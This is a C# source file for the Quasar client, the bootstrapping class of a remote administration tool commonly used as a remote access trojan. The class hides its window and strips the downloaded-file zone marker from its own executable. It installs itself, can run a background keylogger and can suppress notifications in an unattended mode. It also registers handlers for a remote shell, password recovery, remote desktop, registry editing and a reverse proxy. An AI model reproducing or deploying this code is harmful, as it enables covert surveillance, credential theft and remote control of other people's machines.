using Quasar.Client.Config;
using Quasar.Client.Logging;
using Quasar.Client.Messages;
using Quasar.Client.Networking;
using Quasar.Client.Setup;
using Quasar.Client.User;
using Quasar.Client.Utilities;
using Quasar.Common.DNS;
using Quasar.Common.Helpers;
using Quasar.Common.Messages;
using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.Drawing;
using System.Reflection;
using System.Threading;
using System.Windows.Forms;
namespace Quasar.Client
{
///
/// The client application which handles basic bootstrapping of the message processors and background tasks.
///
public class QuasarApplication : Form
{
///
/// A system-wide mutex that ensures that only one instance runs at a time.
///
public SingleInstanceMutex ApplicationMutex;
///
/// The client used for the connection to the server.
///
private QuasarClient _connectClient;
///
/// List of to keep track of all used message processors.
///
private readonly List _messageProcessors;
///
/// The background keylogger service used to capture and store keystrokes.
///
private KeyloggerService _keyloggerService;
///
/// Keeps track of the user activity.
///
private ActivityDetection _userActivityDetection;
///
/// Determines whether an installation is required depending on the current and target paths.
///
private bool IsInstallationRequired => Settings.INSTALL && Settings.INSTALLPATH != Application.ExecutablePath;
///
/// Notification icon used to show notifications in the taskbar.
///
private readonly NotifyIcon _notifyIcon;
///
/// Initializes a new instance of the class.
///
public QuasarApplication()
{
_messageProcessors = new List();
_notifyIcon = new NotifyIcon();
}
///
/// Starts the application.
///
/// An System.EventArgs that contains the event data.
protected override void OnLoad(EventArgs e)
{
Visible = false;
ShowInTaskbar = false;
Run();
base.OnLoad(e);
}
///
/// Initializes the notification icon.
///
private void InitializeNotifyicon()
{
_notifyIcon.Text = "Quasar Client\nNo connection";
_notifyIcon.Visible = true;
try
{
_notifyIcon.Icon = Icon.ExtractAssociatedIcon(Assembly.GetExecutingAssembly().Location);
}
catch (Exception ex)
{
Debug.WriteLine(ex);
_notifyIcon.Icon = SystemIcons.Application;
}
}
///
/// Begins running the application.
///
public void Run()
{
// decrypt and verify the settings
if (!Settings.Initialize())
Application.Exit();
ApplicationMutex = new SingleInstanceMutex(Settings.MUTEX);
// check if process with same mutex is already running on system
if (!ApplicationMutex.CreatedNew)
Application.Exit();
FileHelper.DeleteZoneIdentifier(Application.ExecutablePath);
var installer = new ClientInstaller();
if (IsInstallationRequired)
{
// close mutex before installing the client
ApplicationMutex.Dispose();
try
{
installer.Install();
Application.Exit();
}
catch (Exception e)
{
Debug.WriteLine(e);
}
}
else
{
try
{
// (re)apply settings and proceed with connect loop
installer.ApplySettings();
}
catch (Exception e)
{
Debug.WriteLine(e);
}
if (!Settings.UNATTENDEDMODE)
InitializeNotifyicon();
if (Settings.ENABLELOGGER)
{
_keyloggerService = new KeyloggerService();
_keyloggerService.Start();
}
var hosts = new HostsManager(new HostsConverter().RawHostsToList(Settings.HOSTS));
_connectClient = new QuasarClient(hosts, Settings.SERVERCERTIFICATE);
_connectClient.ClientState += ConnectClientOnClientState;
InitializeMessageProcessors(_connectClient);
_userActivityDetection = new ActivityDetection(_connectClient);
_userActivityDetection.Start();
new Thread(() =>
{
// Start connection loop on new thread and dispose application once client exits.
// This is required to keep the UI thread responsive and run the message loop.
_connectClient.ConnectLoop();
Application.Exit();
}).Start();
}
}
private void ConnectClientOnClientState(Networking.Client s, bool connected)
{
if (connected)
_notifyIcon.Text = "Quasar Client\nConnection established";
else
_notifyIcon.Text = "Quasar Client\nNo connection";
}
///
/// Adds all message processors to and registers them in the .
///
/// The client which handles the connection.
/// Always initialize from UI thread.
private void InitializeMessageProcessors(QuasarClient client)
{
_messageProcessors.Add(new ClientServicesHandler(this, client));
_messageProcessors.Add(new FileManagerHandler(client));
_messageProcessors.Add(new KeyloggerHandler());
_messageProcessors.Add(new MessageBoxHandler());
_messageProcessors.Add(new PasswordRecoveryHandler());
_messageProcessors.Add(new RegistryHandler());
_messageProcessors.Add(new RemoteDesktopHandler());
_messageProcessors.Add(new RemoteShellHandler(client));
_messageProcessors.Add(new ReverseProxyHandler(client));
_messageProcessors.Add(new ShutdownHandler());
_messageProcessors.Add(new StartupManagerHandler());
_messageProcessors.Add(new SystemInformationHandler());
_messageProcessors.Add(new TaskManagerHandler(client));
_messageProcessors.Add(new TcpConnectionsHandler());
_messageProcessors.Add(new WebsiteVisitorHandler());
foreach (var msgProc in _messageProcessors)
{
MessageHandler.Register(msgProc);
if (msgProc is NotificationMessageProcessor notifyMsgProc)
notifyMsgProc.ProgressChanged += ShowNotification;
}
}
///
/// Disposes all message processors of and unregisters them from the .
///
private void CleanupMessageProcessors()
{
foreach (var msgProc in _messageProcessors)
{
MessageHandler.Unregister(msgProc);
if (msgProc is NotificationMessageProcessor notifyMsgProc)
notifyMsgProc.ProgressChanged -= ShowNotification;
if (msgProc is IDisposable disposableMsgProc)
disposableMsgProc.Dispose();
}
}
private void ShowNotification(object sender, string value)
{
if (Settings.UNATTENDEDMODE)
return;
_notifyIcon.ShowBalloonTip(4000, "Quasar Client", value, ToolTipIcon.Info);
}
protected override void Dispose(bool disposing)
{
if (disposing)
{
CleanupMessageProcessors();
_keyloggerService?.Dispose();
_userActivityDetection?.Dispose();
ApplicationMutex?.Dispose();
_connectClient?.Dispose();
_notifyIcon.Visible = false;
_notifyIcon.Dispose();
}
base.Dispose(disposing);
}
}
}